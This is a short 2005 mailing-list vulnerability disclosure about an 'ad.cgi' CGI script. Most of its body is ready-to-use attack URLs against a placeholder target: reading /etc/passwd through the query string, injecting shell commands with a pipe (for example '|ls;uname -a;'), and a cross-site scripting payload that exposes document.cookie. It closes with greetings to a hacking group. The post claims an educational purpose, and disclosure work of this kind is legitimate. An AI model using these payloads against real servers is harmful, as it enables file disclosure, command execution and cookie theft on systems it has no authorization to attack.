remote command execution in ad.cgi script

fireboy fireboy <fireboynet@xxxxxxxxxxxx> · 24 Apr 2005 21:06:47 -0000

Tunis 24/04/2005
BUG found by fireboy
fireboy@xxxxxxxxxxxx

THERE ARE SOME BUGS IN 	ad.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM 
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 

1)file showing
http://www.target.com/cgi-bin/ad.cgi?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/ad.cgi?|command

3)CSS
www.target.com/cgi-bin/ad.cgi?&lt;script&gt;alert(document.cookie)&lt;/script&gt;

ex:
http://www.target.com/cgi-bin/ad.cgi?|ls;uname -a;

greetz to all magattack members www.magattack.tk